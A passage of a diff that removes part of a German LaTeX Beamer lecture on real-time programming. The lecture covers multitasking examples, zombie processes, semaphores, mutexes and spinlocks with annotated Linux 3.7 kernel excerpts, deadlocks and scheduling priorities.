-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsubsection
-
-  Das Problem:
-  \vspace{-\bigskipamount}
-  \begin{center}
-    \begin{pdfpic}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    \end{pdfpic}
-  \end{center}
-
-  \medskip
-
-  {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}}
-
-  \medskip
-
-  Große Stückzahlen
-  \begin{itemize}
-    \item
-      138\,000 Toyota Prius V von Mai 2011 bis April 2012
-    \item
-      Software viel im Einsatz: Server, Rechenzentrum
-  \end{itemize}
-
-  \medskip
-
-  \pause
-  Wertvolle Ressourcen
-  \begin{itemize}
-    \item
-      Fähigkeiten einer Raumsonde optimieren\\
-      (Marsumlaufbahn:\\ab ca.~127\,000 Euro pro kg)
-      % 70000000 / 550000 = 127._27
-      % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/
-      \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\vspace*{1cm}\includegraphics[height=3.5cm]{curiosity.jpg}}\vspace*{-1cm}}
-    \pause
-    \item
-      Implantat: Platz- und Stromverbrauch minimieren
-      \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}}
-  \end{itemize}
-
-  \bigskip
-
-  \pause
-  \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt]
-  \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
-\end{frame}
-
-\subsection{Echtzeitprogrammierung}
-
-\begin{frame}
-
-  \showsubsection
-
-  Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
-  \bigskip
-
-  \alt<.(1)>{Aber wie?}{Beispiele für Lösungen:}
-
-  \begin{itemize}
-    \pause
-    \item
-      ZigBee-Modul:\only<.(1)>{\hfill\makebox(0,0)[tr]{\includegraphics[width=5cm]{xbee.jpg}}}\\
-      % http://commons.wikimedia.org/wiki/File:Arduino_xbee.JPG
-      Funk- vs.\ UART-Protokoll\\
-      \textarrow\ dedizierte Hardware
-    \pause
-    \item
-      RP6:\\
-      Motorsteuerung vs.\ Anwender-Software\\
-      \textarrow\ spezielle Software
-      \only<.(1)>{\hfill\makebox(0,0)[r]{\includegraphics[width=5cm]{rp6.jpg}}}
-    \pause
-    \item
-      Quadrocopter:\\
-      Motorsteuerung vs.\ Sensoren-Abfrage\\
-      vs.\ Funk-Fernsteuerung \dots\\
-      \textarrow\ spezielle Software
-      \only<.(1)>{\hfill\makebox(0,0)[br]{\includegraphics[width=5cm]{quadrocopter.jpg}}}\\
-    \pause
-    \item
-      Flugzeugkabinensimulatortür:\\
-      Türsteuerung vs.\ Bedienung\\
-      \textarrow\ Echtzeitbetriebssystem
-      \only<.(1)>{\\[-3.2cm]\strut\hfill\makebox(0,0)[r]{\includegraphics[angle=-90,width=5cm]{dsc_8208.jpg}}}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsubsection
-
-  Quadrocopter-Steuerung \emph{MultiWii}
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
-      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
-  \end{itemize}
-
-  \pause
-
-  RP6-Steuerung
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
-      Die Interrupt-Handler zählen Variable hoch.
-    \item
-      10000mal pro Sekunde: Timer-Interrupt\\
-      Durch Zähler im Interrupt-Handler: verschiedene Taktraten\\
-      1000mal pro Sekunde: Stopwatches\\
-      5mal pro Sekunde: Blinkende Power-On-LED\\
-      1000mal pro Sekunde: Bumper, ACS, PWM zur Motorsteuerung\\
-      Geschwindigkeitsmessung durch Zählen der Ticks in 0.2\,s\\
-      Anpassung der Motorkraft in $\pm$1-Schritten
-    \pause
-    \item
-      Nebenbei: \only<4->{1 }Benutzerprogramm
-  \end{itemize}
-
-\end{frame}
-
-\subsection{Multitasking}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{minipage}[t]{6cm}
-    Qualitätssicherung beim Multitasking
-    \begin{itemize}
-      \item
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\
-        vs.\ \newterm{Durchsatz}
-      \item
-        Ressourcen reservieren:\\
-        \newterm{Mutexe}
-        (= spezielle \newterm{Semaphore\/})\\
-        \strut
-      \item
-        Verschiedene Methoden\\
-        der Priorisierung\\
-        \strut
-      \item
-        Umgehung der Probleme durch
-        speziell geschriebene Software\\
-        (MultiWii, RP6, \dots)
-    \end{itemize}
-  \end{minipage}
-  \hfill
-  \begin{minipage}[t]{6.2cm}
-    Qualitätssicherung für Netzwerke:
-    \begin{itemize}
-      \item
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz}
-      \item
-        Ressourcen reservieren:\\
-        \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)}
-      \item
-        Klassifizierung und Priorisierung:
-        \newterm{DiffServ} mit Type-of-Service-Bits (IPv4)
-        bzw.\ Traffic-Class-Bits (IPv6) im IP-Header
-      \item
-        Eigenes Protokoll (Telefondienste):\\
-        \newterm{Asynchronous Transfer Mode (ATM)}
-    \end{itemize}
-  \end{minipage}
-
-\end{frame}
-
-% Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
-% evtl. Aufgabe: Warte-Problem
-
-% Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
-% das o.a. Zuteilungsproblem?
-
-% Danach: Semaphoren, Mutexe, Spinlocks
-% Priorisierungsmethoden und -probleme
-
-\subsectionnonumber{Beispiele für Multitasking}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  Quadrocopter-Steuerung \emph{MultiWii}
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
-      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
-  \end{itemize}
-
-  RP6-Steuerung
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
-      Die Interrupt-Handler zählen Variable hoch.
-    \item
-      10000mal pro Sekunde: Timer-Interrupt\\
-      verschiedene Tasks werden unterschiedlich häufig aufgerufen
-    \item
-      Nebenbei: 1 Benutzerprogramm
-  \end{itemize}
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt:\only<1->{ Zähler des aktuellen Tasks wird dekrementiert;}\\
-      Task mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\
-      bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen.
-    \item<1->
-      \emph{keine\/} harte Echtzeit
-      % Aufgabe: Wo wird der Zähler heruntergezählt?
-  \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Zombies}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  \pause
-  Wikipedia:
-  \begin{quote}
-    Als Zombie wird die fiktive Figur eines zum Leben erweckten
-    Toten (Untoter) oder eines seiner Seele beraubten, willenlosen
-    Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe
-    aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet
-    dort ursprünglich einen Totengeist.
-  \end{quote}
-
-  \bigskip
-
-  \pause
-  Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\
-  bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\
-  hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\
-  wird aber noch in der Prozeßliste geführt ("`untot"').
-  \begin{itemize}
-    \pause
-    \item
-      Warum?
-      \textarrow\
-      Ein anderer Prozeß (Elternprozeß) wartet noch auf den
-      Rückgabewert des beendeten Prozesses.
-    \pause
-    \item
-      Schadet das?
-      \textarrow\
-      Nein.
-    \pause
-    \item
-      Aber?
-      \textarrow\
-      Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen
-      Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'.
-    \pause
-    \item
-      Beispiel:
-      Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\
-      \textarrow\
-      Tochterprozesse werden zu Zombies.
-  \end{itemize}
-
-\end{frame}
-
-\subsection{Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-      \begin{onlyenv}<1>
-        \par\medskip
-        griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\
-        "`Eisenbahnsignal"'
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-      \begin{onlyenv}<2>
-        \par\medskip
-        englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\
-        spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\
-        % allgemein: auch jemand anderer dürfte freigeben
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-      \begin{onlyenv}<3>
-        \par\medskip
-        englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\
-        \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount]
-        Hardware-Unterstützung:
-        Prüfen, ob Variable bestimmten Wert hat;\\
-        wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-      \vspace*{-1cm}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren: Beispiele
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      \file{linux-3.7-rc1/kernel/semaphor.c}\\
-      \file{linux-3.7-rc1/drivers/usb/core/file.c}
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      \file{linux-3.7-rc1/kernel/mutex.c}\\
-      \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}
-    \medskip
-    \item
-      \newterm{Spinlock}\\
-      \file{linux-3.7-rc1/kernel/spinlock.c}\\
-      \file{linux-3.7-rc1/kernel/semaphor.c},
-      \file{linux-3.7-rc1/kernel/mutex.c}
-  \end{itemize}
-
-  % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
-  % evtl. Aufgabe: Warte-Problem
-
-  % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
-  % das o.a. Zuteilungsproblem?
-
-  % Danach: Semaphoren, Mutexe, Spinlocks
-  % Priorisierungsmethoden und -probleme
-
-  % Festplatten: completely fair queueing
-  % cat /sys/block/sdc/queue/scheduler
-  % "noop" hat sich für SVG gelohnt
-
-  % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \textbf{Beispiel:}
-  \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    struct usb_serial *usb_serial_get_by_index (unsigned index)
-    {
-      struct usb_serial *serial;
-      mutex_lock (&table_lock);
-      serial = serial_table[index];
-      if (serial)
-        {
-          mutex_lock (&serial->disc_mutex);
-          if (serial->disconnected)
-            {
-              mutex_unlock (&serial->disc_mutex);
-              serial = NULL;
-            }
-          else
-            kref_get (&serial->kref);
-        }
-      mutex_unlock (&table_lock);
-      return serial;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(5.1,6.85){\vector(-1,0){0.5}}
-    \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}}
-    \put(5.4,1.35){\vector(-1,0){0.5}}
-    \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{48cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    void __sched mutex_lock (struct mutex *lock)
-    {
-      might_sleep ();
-      __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath);
-      mutex_set_owner (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.6,1.35){\line(-1,0){1}}
-    \put(11.6,1.35){\line(0,-1){2.45}}
-    \put(11.6,-1.10){\vector(-1,0){2.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24
-
-  Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert)
-
-  \medskip
-
-  Assembler:
-  \begin{lstlisting}[language={[x86masm]Assembler}]
-        lock dec (lock->count)
-        jns 1
-        call __mutex_lock_slowpath
-    1:
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9,0.95){\line(-1,0){3.5}}
-    \put(9,0.95){\line(0,-1){2.5}}
-    \put(9.0,-1.55){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398
-
-  \medskip
-
-  \begin{lstlisting}
-    static __used noinline void __sched
-      __mutex_lock_slowpath (atomic_t *lock_count)
-    {
-      struct mutex *lock = container_of (lock_count, struct mutex, count);
-      __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0,
-                               NULL, _RET_IP_);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.0,1.40){\line(-1,0){1.0}}
-    \put(11.0,1.40){\vector(0,-1){2.5}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int __sched
-    __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass,
-                             struct lockdep_map *nest_lock, unsigned long ip)
-    {
-      struct task_struct *task = current;
-      struct mutex_waiter waiter;
-      unsigned long flags;
-
-      preempt_disable ();
-      mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip);
-
-      /* ... */
-
-      spin_lock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_lock_common (lock, &waiter);
-      debug_mutex_add_waiter (lock, &waiter, task_thread_info (task));
-
-      /* add waiting tasks to the end of the waitqueue (FIFO): */
-      list_add_tail (&waiter.list, &lock->wait_list);
-      waiter.task = task;
-
-      if (atomic_xchg (&lock->count, -1) == 1)
-        goto done;
-
-      lock_contended (&lock->dep_map, ip);
-
-      for (;;)
-        {
-          /*
-           * Lets try to take the lock again - this is needed even if
-           * we get here for the first time (shortly after failing to
-           * acquire the lock), to make sure that we get a wakeup once
-           * it's unlocked. Later on, if we sleep, this is the
-           * operation that gives us the lock. We xchg it to -1, so
-           * that when we release the lock, we properly wake up the
-           * other waiters:
-           */
-          if (atomic_xchg (&lock->count, -1) == 1)
-            break;
-
-          /*
-           * got a signal? (This code gets eliminated in the
-           * TASK_UNINTERRUPTIBLE case.)
-           */
-          if (unlikely (signal_pending_state (state, task)))
-            {
-              mutex_remove_waiter (lock, &waiter, task_thread_info (task));
-              mutex_release (&lock->dep_map, 1, ip);
-              spin_unlock_mutex (&lock->wait_lock, flags);
-
-              debug_mutex_free_waiter (&waiter);
-              preempt_enable ();
-              return -EINTR;
-            }
-          __set_task_state (task, state);
-
-          /* didn't get the lock, go to sleep: */
-          spin_unlock_mutex (&lock->wait_lock, flags);
-          schedule_preempt_disabled ();
-          spin_lock_mutex (&lock->wait_lock, flags);
-        }
-
-    done:
-      lock_acquired (&lock->dep_map, ip);
-      /* got the lock - rejoice! */
-      mutex_remove_waiter (lock, &waiter, current_thread_info ());
-      mutex_set_owner (lock);
-
-      /* set it to 0 if there are no waiters left: */
-      if (likely (list_empty (&lock->wait_list)))
-        atomic_set (&lock->count, 0);
-
-      spin_unlock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_free_waiter (&waiter);
-      preempt_enable ();
-
-      return 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(7.9,28.3){\vector(-1,0){0.5}}
-    \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}}
-    \put(7.4,2.3){\vector(-1,1){0.4}}
-    \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{50.5cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting}
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12
-
-  \medskip
-
-  \begin{lstlisting}
-    #define spin_lock_mutex(lock, flags) \
-      do \
-        { \
-          spin_lock (lock); \
-          (void) (flags); \
-        } \
-      while (0)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(8.5,1.75){\line(-1,0){4.5}}
-    \put(8.5,1.75){\line(0,-1){2.9}}
-    \put(8.5,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline void spin_lock (spinlock_t *lock)
-    {
-      raw_spin_lock (&lock->rlock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.3,0.95){\line(-1,0){4.0}}
-    \put(9.3,0.95){\line(0,-1){2.1}}
-    \put(9.3,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170
-
-  \medskip
-
-  \begin{lstlisting}
-    #define raw_spin_lock(lock)  _raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.0,0.55){\line(-1,0){0.5}}
-    \put(10.0,0.55){\line(0,-1){1.7}}
-    \put(10.0,-1.15){\vector(-1,0){1.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47
-
-  \medskip
-
-  \begin{lstlisting}
-    #define _raw_spin_lock(lock)  __raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,0.55){\line(-1,0){0.5}}
-    \put(10.7,0.55){\line(0,-1){1.75}}
-    \put(10.7,-1.2){\vector(-1,0){2.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert):
-
-  \medskip
-
-  \begin{lstlisting}
-    void __lockfunc __raw_spin_lock (spinlock_t *lock)
-    {
-      for (;;)
-        {
-          preempt_disable ();
-          if (likely (do_raw_spin_trylock (lock)))
-            break;
-          preempt_enable ();
-
-          if (!(lock)->break_lock)
-            (lock)->break_lock = 1;
-          while (!raw_spin_can_lock (lock) && (lock)->break_lock)
-            arch_spin_relax (&lock->raw_lock);
-        }
-      (lock)->break_lock = 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,4.75){\line(-1,0){3.5}}
-    \put(10.7,4.75){\line(0,-1){5.95}}
-    \put(10.7,-1.2){\vector(-1,0){1.1}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150:
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int do_raw_spin_trylock (raw_spinlock_t *lock)
-    {
-      return arch_spin_trylock (&(lock)->raw_lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.5,0.95){\line(-1,0){3.5}}
-    \put(11.5,0.95){\line(0,-1){2.1}}
-    \put(11.5,-1.15){\vector(-1,0){0.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int arch_spin_trylock (arch_spinlock_t *lock)
-    {
-      return __ticket_spin_trylock (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.5,0.95){\line(-1,0){3.5}}
-    \put(9.5,0.95){\vector(0,-1){1.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock)
-    {
-      arch_spinlock_t old, new;
-
-      old.tickets = ACCESS_ONCE (lock->tickets);
-      if (old.tickets.head != old.tickets.tail)
-        return 0;
-
-      new.head_tail = old.head_tail + (1 << TICKET_SHIFT);
-
-      /* cmpxchg is a full barrier, so nothing can move before it */
-      return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,0.3){\line(0,1){0.4}}
-    \put(9.0,0.3){\line(-1,0){6.8}}
-    \put(9.0,0.3){\line(0,-1){1.45}}
-    \put(9.0,-1.15){\vector(-1,0){3.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define cmpxchg(ptr, old, new) \
-      __cmpxchg (ptr, old, new, sizeof (*(ptr)))
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.0,0.5){\line(-1,0){1.8}}
-    \put(9.0,0.5){\line(0,-1){1.65}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define __cmpxchg(ptr, old, new, size) \
-      __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,-0.1){\line(0,1){0.3}}
-    \put(9.0,-0.1){\line(-1,0){6.8}}
-    \put(9.0,-0.1){\line(0,-1){1.05}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110:
-
-  \medskip
-
-  \begin{lstlisting}
-    asm volatile (lock "cmpxchgl %2,%1" \
-                  : "=a" (__ret), "+m" (*__ptr) \
-                  : "r" (__new), "0" (__old) \
-                  : "memory");
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.8,1.8){\vector(-1,0){0.6}}
-    \put(9.8,1.2){\line(0,1){0.6}}
-    \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{\normalpdfpageheight}
-
-%\sectionnonumber{Literaturempfehlung}
-%\subsectionnonumber{Automotive Embedded Systeme}
-%
-%\begin{frame}[c]
-%
-%  \showsectionnonumber
-%
-%  Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
-%  Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
-%
-%  \medskip
-%
-%  \showsubsectionnonumber
-%
-%  \vspace{-\medskipamount}
-%
-%  Springer-Verlag, Berlin, Heidelberg 2005
-%
-%  \bigskip
-%
-%  Lizenz: proprietär
-%
-%  \medskip
-%
-%  (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
-%
-%\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{picture}(0,0)
-    \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}}
-  \end{picture}%
-  \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen
-  \begin{itemize}
-    \item
-      \newterm{Deadlock\/}: Prozeß wartet
-    \item
-      \newterm{Livelock\/}: Prozeß macht andere Dinge\\
-      (z.\,B.\ \emph{busy waiting\/})
-  \end{itemize}
-
-  \pause
-  \bigskip
-
-  Beispiel: Philosophenproblem
-
-  \only<2-3>{%
-    \begin{itemize}
-      \item
-        5 Philosophen, 5 Gabeln
-      \item
-        2 Gabeln zum Essen notwendig
-      \item
-        Wer essen will, nimmt eine Gabel\\
-        und wartet notfalls auf die zweite.
-      \item
-        Keiner legt eine einzelne Gabel\\
-        wieder zurück.
-    \end{itemize}
-    Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount]
-    \pause
-    \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\
-    \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm]
-  }
-  \only<4->{%
-    \bigskip
-
-    Bedingungen für Verklemmungen:
-
-    \begin{minipage}[t]{4.5cm}
-      \begin{itemize}
-        \item
-          Exklusivität
-        \item
-          \newterm{hold and wait}
-        \item
-          Entzug nicht möglich
-        \item
-          zirkuläre Blockade
-      \end{itemize}
-    \end{minipage}\pause[5]
-    \begin{minipage}[t]{7.5cm}
-      \begin{itemize}
-        \arrowitem
-          Spooling
-        \arrowitem
-          simultane Zuteilung
-        \arrowitem
-          Prozesse suspendieren, beenden, \newterm{Rollback}
-        \arrowitem
-          Reihenfolge abhängig von Ressourcen
-      \end{itemize}
-    \end{minipage}
-  }
-
-\end{frame}
-
-\subsection{Prioritäten}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\
-      Prozeß mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\
-      bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen.
-    \item
-      \emph{keine\/} harte Echtzeit
-    \arrowitem
-      \newterm{dynamische Prioritätenvergabe\/}:\\
-      Rechenzeit hängt vom Verhalten des Prozesses ab
-  \end{itemize}
-
-  \medskip
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-    \arrowitem
-      \newterm{statische Prioritätenvergabe}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-  \end{itemize}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
